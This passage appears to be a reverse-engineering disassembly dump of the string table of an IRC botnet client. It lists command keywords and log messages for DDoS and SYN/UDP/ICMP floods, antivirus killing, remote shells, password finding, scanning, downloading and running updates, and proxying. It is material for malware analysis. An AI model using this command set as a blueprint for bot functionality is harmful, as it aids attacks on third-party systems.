server thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+453Eo align 4 aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0 ; DATA XREF: sub_4089DC+44E5o aHttpdFailedT_1 db '[HTTPD]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4405o align 4 aTftpFailedTo_0 db '[TFTP]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+427Bo aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: sub_4089DC+415Eo align 4 aFindpassFail_0 db '[FINDPASS]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4130o aFindpassSearch db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_4089DC+40CDo aScanFailedTo_1 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: sub_4089DC+4092o ; sub_4089DC+57ADo align 4 aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: sub_4089DC+3FCAo ; sub_4089DC+59FEo db 'for %d minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_4089DC+3F9Fo ; sub_4089DC+59D3o align 4 aRandom db 'Random',0 ; DATA XREF: sub_4089DC+3F98o ; sub_4089DC+59CCo align 10h aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: sub_4089DC+3DC1o ; sub_4089DC+5675o align 4 aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+3D5Do align 4 aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+3D40o align 4 aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+3D1Fo align 4 aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_4089DC+3D05o align 4 aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: sub_4089DC:loc_40C668o align 4 aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_4089DC+3C85o align 4 aThreadsNoActiv db '[THREADS]: No active threads found.',0 ; DATA XREF: sub_4089DC:loc_40C61Co aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_4089DC+3C36o align 4 aAll db 'all',0 ; DATA XREF: sub_4089DC+3C20o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+3B93o ; sub_4089DC:loc_40D5E3o align 4 aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0 ; DATA XREF: sub_4089DC+3B12o align 4 aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: sub_4089DC:loc_40C4D5o aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_4089DC+3AEFo align 4 aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+3ABAo align 4 aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_4089DC+3A92o align 10h aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_4089DC+3A7Co align 4 aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0 ; DATA XREF: sub_4089DC:loc_40C409o aProcProcessK_1 db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_4089DC+3A26o align 10h aProcProcessK_0 db '[PROC]: Process killed & deleted: %s',0 ; DATA XREF: sub_4089DC+39DEo align 4 aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0 ; DATA XREF: sub_4089DC:loc_40C35Bo align 4 aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_4089DC+3978o align 4 aFileDeletedS_0 db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+3921o align 4 aFileListS db '[FILE]: List: %s',0 ; DATA XREF: sub_4089DC+38FCo align 10h aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: sub_4089DC:loc_40C280o align 4 aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: sub_4089DC+389Do align 4 aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: sub_4089DC+385Do aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_4089DC+3855o align 10h aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_4089DC+37FEo align 10h aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_4089DC+37E8o align 10h aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_4089DC+3765o align 4 aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0 ; DATA XREF: sub_4089DC:loc_40C0FDo align 4 aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_4089DC+370Bo align 4 aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_4089DC+3656o align 4 aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_4089DC+3613o align 10h aMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_4089DC+35A8o aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: sub_4089DC+3528o align 4 aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+34ECo ; sub_4089DC+3D0Fo align 4 aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_4089DC+34C7o aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+34B9o align 4 aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_4089DC+348Do align 10h aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_4089DC+341Eo align 4 aModeS db 'MODE %s',0 ; DATA XREF: sub_4089DC+33C6o aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_4089DC+3393o align 4 aNickS db 'NICK %s',0 ; DATA XREF: sub_4089DC+333Ao ; sub_4089DC+3B5Ao aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_4089DC+3319o align 4 aS_5 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+32E5o ; sub_4089DC+3372o ... align 4 aPartS_0 db 'PART %s',0 ; DATA XREF: sub_4089DC+32ACo aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0 ; DATA XREF: sub_4089DC:loc_40BC75o align 4 aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_4089DC+325Eo align 10h aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: sub_4089DC:loc_40BBA7o align 10h aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_4089DC+3187o ; sub_4089DC+3238o ... align 10h aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+30FEo aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_4089DC+309Fo align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_4089DC+2FF8o align 4 aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_4089DC+2F74o align 4 aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_4089DC+2F61o align 4 aFindfileFailed db '[FINDFILE]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2EADo aFindfileSear_0 db '[FINDFILE]: Searching for file: %s in: %s.',0 ; DATA XREF: sub_4089DC+2E49o align 4 aFile db '[FILE]:',0 ; DATA XREF: sub_4089DC:loc_40B783o ; sub_4089DC:loc_40C304o aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4089DC+2D8Fo align 10h aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_4089DC+2D46o align 4 aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2D1Eo align 4 aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_4089DC+2CAEo align 10h aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2C22o align 4 aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0 ; DATA XREF: sub_4089DC+2BBFo align 4 aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2B0Fo align 4 aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_4089DC+2AA5o align 4 aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2A11o align 4 aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_4089DC+29A7o align 4 aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+28FFo align 10h aDownloadDown_1 db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_4089DC+28A0o aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2782o align 4 aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0 ; DATA XREF: sub_4089DC+2727o aScanFailedTo_0 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+2685o ; sub_4089DC+4029o ... align 4 aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0 ; DATA XREF: sub_4089DC+262Ao align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_4089DC+25A4o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_4089DC+2489o align 4 dword_426F6C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_4089DC+23F6o ; sub_4089DC+3583o dword_426F78 dd 615F63h ; DATA XREF: sub_4089DC+2374o aC_action db 'c_action',0 ; DATA XREF: sub_4089DC+2364o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_4089DC+2350o align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_4089DC+233Co align 4 aSc db 'sc',0 ; DATA XREF: sub_4089DC+2328o align 10h aScan db 'scan',0 ; DATA XREF: sub_4089DC+2314o align 4 aRd db 'rd',0 ; DATA XREF: sub_4089DC+2300o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_4089DC+22ECo align 4 aDl db 'dl',0 ; DATA XREF: sub_4089DC+22D8o align 4 aDownload db 'download',0 ; DATA XREF: sub_4089DC+22C4o align 4 aSyn db 'syn',0 ; DATA XREF: sub_4089DC+22B0o ; sub_4089DC+522Co ... aSynflood db 'synflood',0 ; DATA XREF: sub_4089DC+229Co align 4 aC: ; DATA XREF: sub_4089DC+224Co ; sub_413E26+73o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_4089DC+2238o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_4089DC+2212o align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_4089DC+21FEo align 4 aMv db 'mv',0 ; DATA XREF: sub_4089DC+21EAo align 4 aRename db 'rename',0 ; DATA XREF: sub_4089DC+21D6o align 4 aFf db 'ff',0 ; DATA XREF: sub_4089DC+21C2o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_4089DC+21AEo align 4 aE: ; DATA XREF: sub_4089DC+219Ao unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_4089DC+2186o aUpdate db 'update',0 ; DATA XREF: sub_4089DC+215Eo align 4 aDe db 'de',0 ; DATA XREF: sub_4089DC+214Ao align 4 aDelay db 'delay',0 ; DATA XREF: sub_4089DC+2136o align 4 aRp db 'rp',0 ; DATA XREF: sub_4089DC+2122o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_4089DC+210Eo ; sub_4089DC+3216o align 10h aC_p db 'c_p',0 ; DATA XREF: sub_4089DC+20FAo aC_part db 'c_part',0 ; DATA XREF: sub_4089DC+20E6o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_4089DC+20D2o aC_join db 'c_join',0 ; DATA XREF: sub_4089DC+20BEo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_4089DC+20AAo aC_nick db 'c_nick',0 ; DATA XREF: sub_4089DC+2096o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_4089DC+2082o aC_mode db 'c_mode',0 ; DATA XREF: sub_4089DC+206Eo align 10h aC_r db 'c_r',0 ; DATA XREF: sub_4089DC+205Ao aC_raw db 'c_raw',0 ; DATA XREF: sub_4089DC+2046o align 4 aM: ; DATA XREF: sub_4089DC+2032o unicode 0, <m>,0 aMode db 'mode',0 ; DATA XREF: sub_4089DC+201Eo align 4 aCy db 'cy',0 ; DATA XREF: sub_4089DC+200Ao align 4 aCycle db 'cycle',0 ; DATA XREF: sub_4089DC+1FF6o align 4 aA_1: ; DATA XREF: sub_4089DC+1FE2o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_4089DC+1FCEo align 10h aPm_0 db 'pm',0 ; DATA XREF: sub_4089DC+1FBAo align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_4089DC+1FA6o aAa db 'aa',0 ; DATA XREF: sub_4089DC+1F92o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_4089DC+1F7Eo align 4 aAvfwFailedToSt db '[AVFW]: Failed to start AV/FW killer thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+1F06o align 4 aAvfw db '[AVFW]',0 ; DATA XREF: sub_4089DC+1EACo ; sub_4089DC+1F5Eo align 10h aKillerThread db 'Killer Thread',0 ; DATA XREF: sub_4089DC+1EA7o ; sub_4089DC+1F59o align 10h aAvfwAvFwBotKil db '[AVFW]: AV/FW/BOT Killer active.',0 ; DATA XREF: sub_4089DC+1E91o align 4 aAvfwkiller db 'avfwkiller',0 ; DATA XREF: sub_4089DC+1E66o align 10h aGh db 'gh',0 ; DATA XREF: sub_4089DC+1E52o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_4089DC+1E3Eo aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: sub_4089DC:loc_40A806o aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: sub_4089DC:loc_40A7FFo align 4 aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: sub_4089DC:loc_40A7B2o align 10h aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: sub_4089DC+1DCCo aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: sub_4089DC:loc_40A710o align 4 aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: sub_4089DC+1D2Ao align 4 aShare db 'share',0 ; DATA XREF: sub_4089DC+1CBEo align 10h aContinue db 'continue',0 ; DATA XREF: sub_4089DC+1C8Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_4089DC+1C73o align 4 aStop db 'stop',0 ; DATA XREF: sub_4089DC+1C5Co ; sub_4089DC+1F40o align 4 aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: sub_4089DC:loc_40A62Ao aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: sub_4089DC+1C44o align 4 aStart db 'start',0 ; DATA XREF: sub_4089DC+1BF1o ; sub_4089DC+1E7Bo align 10h aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0 ; DATA XREF: sub_4089DC+1BB7o aNet db 'net',0 ; DATA XREF: sub_4089DC+1B95o aRf db 'rf',0 ; DATA XREF: sub_4089DC+1B81o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_4089DC+1B6Do align 4 aCm db 'cm',0 ; DATA XREF: sub_4089DC+1B59o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_4089DC+1B45o aMirc db 'mirc',0 ; DATA XREF: sub_4089DC+1B31o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_4089DC+1B1Do aLi db 'li',0 ; DATA XREF: sub_4089DC+1B09o align 4 aList_0 db 'list',0 ; DATA XREF: sub_4089DC+1AF5o align 4 aDel db 'del',0 ; DATA XREF: sub_4089DC+1AE1o aDelete db 'delete',0 ; DATA XREF: sub_4089DC+1ACDo ; sub_4089DC+1CA4o align 4 aKi db 'ki',0 ; DATA XREF: sub_4089DC+1AB9o align 4 aKill db 'kill',0 ; DATA XREF: sub_4089DC+1AA5o align 4 aKdp db 'kdp',0 ; DATA XREF: sub_4089DC+1A91o aKilldelproc db 'killdelproc',0 ; DATA XREF: sub_4089DC+1A7Do aKp db 'kp',0 ; DATA XREF: sub_4089DC+1A69o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_4089DC+1A55o align 4 aDn db 'dn',0 ; DATA XREF: sub_4089DC+1A41o align 4 aDns db 'dns',0 ; DATA XREF: sub_4089DC+1A2Do aSe db 'se',0 ; DATA XREF: sub_4089DC+1A19o align 10h aO: ; DATA XREF: sub_4089DC+19F1o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_4089DC+19DDo ; sub_4089DC+3AD6o ... align 4 aPr db 'pr',0 ; DATA XREF: sub_4089DC+19C9o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_4089DC+19B5o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_4089DC+19A1o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_4089DC+198Do align 4 aC_q db 'c_q',0 ; DATA XREF: sub_4089DC+1979o aC_quit db 'c_quit',0 ; DATA XREF: sub_4089DC+1965o align 4 aK: ; DATA XREF: sub_4089DC+1951o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_4089DC+193Do align 4 aRaw db 'raw',0 ; DATA XREF: sub_4089DC+1915o aPt db 'pt',0 ; DATA XREF: sub_4089DC+1901o align 10h aPart_0 db 'part',0 ; DATA XREF: sub_4089DC+18EDo align 4 aJ: ; DATA XREF: sub_4089DC+18D9o unicode 0, <j>,0 aJoin db 'join',0 ; DATA XREF: sub_4089DC+18C5o align 4 aN: ; DATA XREF: sub_4089DC+18B1o unicode 0, <n>,0 aNick_0 db 'nick',0 ; DATA XREF: sub_4089DC+189Do align 10h aScanall db 'scanall',0 ; DATA XREF: sub_4089DC+1863o aFp db 'fp',0 ; DATA XREF: sub_4089DC+184Fo align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_4089DC+183Bo align 4 aTftp db 'tftp',0 ; DATA XREF: sub_4089DC+1827o align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_4089DC+1813o align 4 aHttp db 'http',0 ; DATA XREF: sub_4089DC+17FFo align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_4089DC+17EBo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_4089DC+17D7o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_4089DC+17C3o align 4 aCip db 'cip',0 ; DATA XREF: sub_4089DC+17AFo aCurrentip db 'currentip',0 ; DATA XREF: sub_4089DC+179Bo align 4 aFdns db 'fdns',0 ; DATA XREF: sub_4089DC+1787o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_4089DC+1773o align 4 aFarp db 'farp',0 ; DATA XREF: sub_4089DC+175Fo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_4089DC+174Bo align 10h aGc db 'gc',0 ; DATA XREF: sub_4089DC+1737o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_4089DC+1723o aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_4089DC+16D9o align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_4089DC+1658o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: sub_4089DC+15B8o unicode 0, <_>,0 aEmail db 'email',0 ; DATA XREF: sub_4089DC+154Do align 4 aTcp db 'tcp',0 ; DATA XREF: sub_4089DC+1539o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_4089DC+1525o align 4 aP: ; DATA XREF: sub_4089DC+1511o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_4089DC+14FDo align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_4089DC+14E9o align 10h aU: ; DATA XREF: sub_4089DC+14D5o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_4089DC+14C1o aUdpflood db 'udpflood',0 ; DATA XREF: sub_4089DC+14ADo align 4 aAsc db 'asc',0 ; DATA XREF: sub_4089DC+1499o aAdvscan db 'advscan',0 ; DATA XREF: sub_4089DC+1485o aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_4089DC+1461o align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_4089DC+142Do ; sub_412305+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_4089DC+1420o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_4089DC+13FDo align 10h aWho db 'who',0 ; DATA XREF: sub_4089DC+13E4o aCmd_0 db '[CMD]',0 ; DATA XREF: sub_4089DC+13D6o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_4089DC+13D1o align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_4089DC+13BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_4089DC+13A8o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_4089DC+1394o aDll db 'dll',0 ; DATA XREF: sub_4089DC+1380o aTestdlls db 'testdlls',0 ; DATA XREF: sub_4089DC+136Co align 4 aDrv db 'drv',0 ; DATA XREF: sub_4089DC+1358o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_4089DC+1344o align 4 aUp db 'up',0 ; DATA XREF: sub_4089DC+1330o ; sub_4089DC+2172o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_4089DC+131Co align 10h aPs db 'ps',0 ; DATA XREF: sub_4089DC+1308o align 4 aProcs db 'procs',0 ; DATA XREF: sub_4089DC+12F4o align 4 aErradicate db 'erradicate',0 ; DATA XREF: sub_4089DC+12E0o align 4 aDestroy db 'destroy',0 ; DATA XREF: sub_4089DC+12CCo aSi db 'si',0 ; DATA XREF: sub_4089DC+12B8o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_4089DC+12A4o aNi db 'ni',0 ; DATA XREF: sub_4089DC+1290o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_4089DC+127Co aClg db 'clg',0 ; DATA XREF: sub_4089DC+1268o aClearlog db 'clearlog',0 ; DATA XREF: sub_4089DC+1254o align 4 aLg db 'lg',0 ; DATA XREF: sub_4089DC+1240o align 4 aLog_0 db 'log',0 ; DATA XREF: sub_4089DC+122Co aAl db 'al',0 ; DATA XREF: sub_4089DC+1218o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_4089DC+1204o aT: ; DATA XREF: sub_4089DC+11F0o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_4089DC+11DCo aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_4089DC+11A4o align 4 aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_4089DC+119Do align 4 aReboot db 'reboot',0 ; DATA XREF: sub_4089DC+118Ao align 10h aI_0: ; DATA XREF: sub_4089DC+1176o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_4089DC+1162o align 4 aS_4: ; DATA XREF: sub_4089DC+114Eo unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_4089DC+113Ao align 4 aQ: ; DATA XREF: sub_4089DC+1126o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_4089DC+1112o align 10h aDc db 'dc',0 ; DATA XREF: sub_4089DC+10FEo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_4089DC+10EAo align 10h aR: ; DATA XREF: sub_4089DC+10D6o ; sub_4089DC+1929o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_4089DC+10C2o align 10h aStats db 'stats',0 ; DATA XREF: sub_4089DC+10AEo align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_4089DC+109Ao align 4 aScan_0 db '[SCAN]',0 ; DATA XREF: sub_4089DC+108Co ; sub_4089DC+5848o align 4 aScan_1 db 'Scan',0 ; DATA XREF: sub_4089DC+1087o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_4089DC+1072o align 10h aSecure_1 db '[SECURE]',0 ; DATA XREF: sub_4089DC+1064o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_4089DC+105Fo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_4089DC+104Ao align 10h aClones db '[CLONES]',0 ; DATA XREF: sub_4089DC+103Co align 4 aClone db 'Clone',0 ; DATA XREF: sub_4089DC+1037o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_4089DC+1022o align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_4089DC+100Eo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_4089DC+FFAo align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_4089DC+FE6o align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_4089DC+FD2o align 4 aTftp_0 db '[TFTP]',0 ; DATA XREF: sub_4089DC+FC4o align 4 aTftpstop db 'tftpstop',0 ; DATA XREF: sub_4089DC+FAAo align 10h aIcmp_0 db '[ICMP]',0 ; DATA XREF: sub_4089DC+F9Co align 4 aIcmpFlood db 'ICMP flood',0 ; DATA XREF: sub_4089DC+F97o align 4 aIcmpstop db 'icmpstop',0 ; DATA XREF: sub_4089DC+F82o align 10h aPing_1 db '[PING]',0 ; DATA XREF: sub_4089DC+F74o align 4 aPingFlood db 'Ping flood',0 ; DATA XREF: sub_4089DC+F6Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_4089DC+F5Ao align 10h aUpd db '[UPD]',0 ; DATA XREF: sub_4089DC+F4Co align 4 aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_4089DC+F47o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_4089DC+F32o aSyn_0 db '[SYN]',0 ; DATA XREF: sub_4089DC+F24o align 4 aSynFlood db 'Syn flood',0 ; DATA XREF: sub_4089DC+F1Fo align 10h aSynstop db 'synstop',0 ; DATA XREF: sub_4089DC+F0Ao aDdos db '[DDoS]',0 ; DATA XREF: sub_4089DC+EFCo align 10h aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_4089DC+EF7o align 4 aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_4089DC+EE2o align 4 aRedirect_0 db '[REDIRECT]',0 ; DATA XREF: sub_4089DC+ED4o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_4089DC+ECFo align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_4089DC+EBAo align 4 aLog db '[LOG]',0 ; DATA XREF: sub_4089DC+EACo align 4 aLogList db 'Log list',0 ; DATA XREF: sub_4089DC+EA7o align 4 aLogstop db 'logstop',0 ; DATA XREF: sub_4089DC+E92o aHttpd db '[HTTPD]',0 ; DATA XREF: sub_4089DC+E84o aHttpstop db 'httpstop',0 ; DATA XREF: sub_4089DC+E6Ao align 4 aRlogind db '[RLOGIND]',0 ; DATA XREF: sub_4089DC+E5Co align 10h aRloginstop db 'rloginstop',0 ; DATA XREF: sub_4089DC+E42o align 4 aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: sub_4089DC+E34o align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_4089DC+E2Fo ; sub_4089DC+E57o ... align 10h aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_4089DC+E1Ao align 4 aS4 db 's4',0 ; DATA XREF: sub_4089DC+E06o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_4089DC+DF2o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_4089DC+DDEo align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_4089DC+DCAo align 4 aSec db 'sec',0 ; DATA XREF: sub_4089DC+DB6o ; sub_4089DC+4DF7o aSecure db 'secure',0 ; DATA XREF: sub_4089DC+DA2o ; sub_4089DC+4DE7o align 4 aVer db 'ver',0 ; DATA XREF: sub_4089DC+D8Eo aVersion db 'version',0 ; DATA XREF: sub_4089DC+D7Ao aLo db 'lo',0 ; DATA XREF: sub_4089DC+D66o align 4 aLogout db 'logout',0 ; DATA XREF: sub_4089DC+D52o align 10h aD: ; DATA XREF: sub_4089DC+D3Eo ; sub_413E26+7Ao unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_4089DC+D2Ao aRn db 'rn',0 ; DATA XREF: sub_4089DC+D16o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_4089DC+CFFo a63 db '63',0 ; DATA XREF: sub_4089DC+BE1o align 4 asc_4278A8: ; DATA XREF: sub_4089DC+BB9o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_4089DC+B81o align 4 aServer_1 db '$server',0 ; DATA XREF: 